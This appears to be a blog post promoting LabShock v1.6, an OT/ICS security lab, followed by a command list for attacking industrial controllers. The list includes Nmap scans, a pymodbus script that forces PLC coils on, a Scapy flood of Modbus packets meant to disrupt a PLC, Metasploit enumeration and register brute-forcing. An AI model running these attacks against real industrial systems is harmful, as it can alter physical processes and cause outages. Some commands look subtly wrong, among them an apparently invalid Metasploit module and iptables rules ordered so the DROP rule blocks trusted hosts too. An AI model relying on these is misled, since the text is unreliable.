LabShock v1.6 introduces Pentest Fury, a web-based framework designed for OT/ICS pentesting and attack simulation, fully integrated into an OT lab. This release enhances industrial cybersecurity training with new modules for web attacks, Nmap scans, and Modbus exploitation.
🔗 GitHub Repository: LabShock – OT Security Lab for ICS Networks
Key Features
✔ Web Attack Framework – Launch web-based attacks directly from the browser.
✔ Nmap Scans – Perform network, host, and script scans (TCP/UDP, top ports, aggressive).
✔ Modbus Attacks – Coil/register manipulation, DoS/flooding, and future MitM capabilities.
You Should Know: Essential ICS/OT Security Commands & Techniques
1. Nmap Scanning for OT Networks
Use Nmap to detect ICS devices:
Basic scan (TCP) nmap -sT -Pn <OT_Device_IP> Fast UDP scan (common ICS protocols) nmap -sU --top-ports 20 <OT_Device_IP> Aggressive scan (OS & service detection) nmap -A -T4 <OT_Device_IP>
2. Modbus Exploitation with Python
Attack Modbus coils/registers using Python (pymodbus):
from pymodbus.client import ModbusTcpClient
Connect to Modbus device
client = ModbusTcpClient('<PLC_IP>', port=502)
client.connect()
Read coils (Discrete Outputs)
response = client.read_coils(0x00, 10)
print(response.bits)
Write coils (Manipulate outputs)
client.write_coil(0x01, True) Force a coil ON
3. Simulating DoS Attacks on Modbus
Flood Modbus registers with Scapy:
from scapy.all import Craft Modbus/TCP DoS packet packet = IP(dst="<PLC_IP>") / TCP(dport=502) / \ Raw(load="\x00\x01\x00\x00\x00\x06\x01\x06\x00\x01\x00\x01") Send 1000 packets send(packet, count=1000, inter=0.01)
4. Web-Based OT Exploits
Use Metasploit for ICS web vulnerabilities:
msfconsole use auxiliary/scanner/http/modbus_enum set RHOSTS <OT_Web_Panel_IP> run
What Undercode Say
LabShock v1.6 bridges the gap between theoretical ICS security and hands-on pentesting. The integration of Nmap, Modbus attacks, and web exploitation makes it a must-use for red teams and defenders.
🔹 For Blue Teams:
Detect Modbus anomalies with Zeek (Bro) zeek -i eth0 -C modbus.log
🔹 For Red Teams:
Bruteforce Modbus registers with Plcscan plcscan -i <PLC_IP> -p 502 -w coils
🔹 For Secure Configs:
Harden Modbus TCP with iptables iptables -A INPUT -p tcp --dport 502 -j DROP iptables -A INPUT -p tcp --dport 502 -s <TRUSTED_IP> -j ACCEPT
Expected Output
✅ Detected Modbus devices via Nmap scans.
✅ Successful coil/register manipulation via Python scripts.
✅ DoS simulation logs showing PLC disruption.
✅ Metasploit enumeration of exposed OT web interfaces.
